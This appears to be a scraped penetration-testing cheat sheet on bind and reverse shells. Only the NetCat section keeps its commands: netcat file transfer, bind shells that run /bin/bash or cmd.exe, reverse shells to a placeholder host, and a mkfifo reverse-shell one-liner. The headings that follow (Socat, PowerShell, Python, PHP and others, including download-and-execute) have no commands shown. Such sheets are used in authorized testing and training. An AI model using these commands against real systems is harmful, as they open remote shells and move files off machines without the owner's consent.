Shells
Bind and reverse shells
NetCat
Transfer file
nc -nv <dest ip> <port> < file #send file
nc -nlvp <port> > file_local #receive fileBind shell
nc -nlvp <port> -e <cmd.exe or /bin/bash> #remote
rlwrap nc -nlvp <port> -e <cmd.exe or /bin/bash>Reverse shell
nc -nv <target ip> <port> -e <cmd.exe or /bin/bash> #remote
rlwrap nc -nv <target ip> <port> -e <cmd.exe or /bin/bash>Reverse shell BSD version
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f Socat
Transfer file
Bind shell
Reverse shell
CMD
File transfer
Powershell
Generate Base64 code
Download file
Bind shell
Reverse shell
Run code as another user
Reverse shell as another user - netcat version
Reverse shell as another user - download and execute version
Powercat
Transfer file
Bind shell
Reverse shell
Bash
Download file
ConnectionDownload file script (pure bash)
Reverse shell
Perl
Download file
Reverse shell
Python
Download file
Reverse shell
PHP
Download file
Reverse shell
Ruby
Download file
Reverse shell
Java
Reverse shell
Reverse shell Java > 7
Fix broken shell
Fix $PATH
Make interactive/Jail escape
Python
Bash
Script command
Perl
Vi
Ed
Awk
Socat
Upgrade functionalities
Last updated